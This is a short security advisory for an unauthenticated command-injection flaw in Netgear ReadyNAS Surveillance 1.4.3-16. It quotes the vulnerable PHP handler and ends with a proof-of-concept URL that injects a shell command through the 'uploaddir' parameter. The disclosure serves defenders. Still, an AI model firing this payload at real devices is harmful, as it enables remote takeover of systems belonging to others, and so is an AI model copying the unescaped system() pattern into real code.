Netgear ReadyNAS Surveillance 1.4.3-16 Unauthenticated RCE

Homepage:

https://www.netgear.com

Description:

$_GET['uploaddir'] is not escaped and passed to system() through $tmp_upload_dir.

File: upgrade_handle.php

else if( 0 == strcmp($_GET['cmd'],'writeuploaddir') )
{ 
 if(constant("NEED_UPLOAD_FROM_DISK"))
 {
  if (isset($_GET['uploaddir']))
  {
   $uploaddir = $_GET['uploaddir'];
   $fp = fopen(UPLOAD_CONF_PATH, 'w');
   $strData = "server.upload-dirs=(\"" . $uploaddir . "\")\n";
 
   fwrite($fp, $strData);
   fclose($fp);
 
   $current_dir = system('cat '.PHP_CINF_PATH.'| grep \'upload_tmp_dir\'');
   $tmp_upload_dir = 'upload_tmp_dir='.$uploaddir;
   $cmd = "sed -i 's/".str_replace('/', '\/', $current_dir)."/".str_replace('/', '\/', $tmp_upload_dir)."/g' ".PHP_CINF_PATH;
 
   system($cmd);
   //system("echo \"$uploaddir\" > ".UPGRADE_DIR_PATH);
   $file = fopen(UPGRADE_DIR_PATH,"w");
   if( $file )
   {
    fwrite($file,"[UPLOAD]\n");
    fwrite($file,"upload_dir=\"". $uploaddir ."\"\n");
    fclose($file);
   }
  }
 }
 
 header("Content-type: application/xml\r\n\r\n");
 echo "Modify upload directory ok";
}

Proof of Concept:

http://IP/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;sleep%205;%27

Timeline: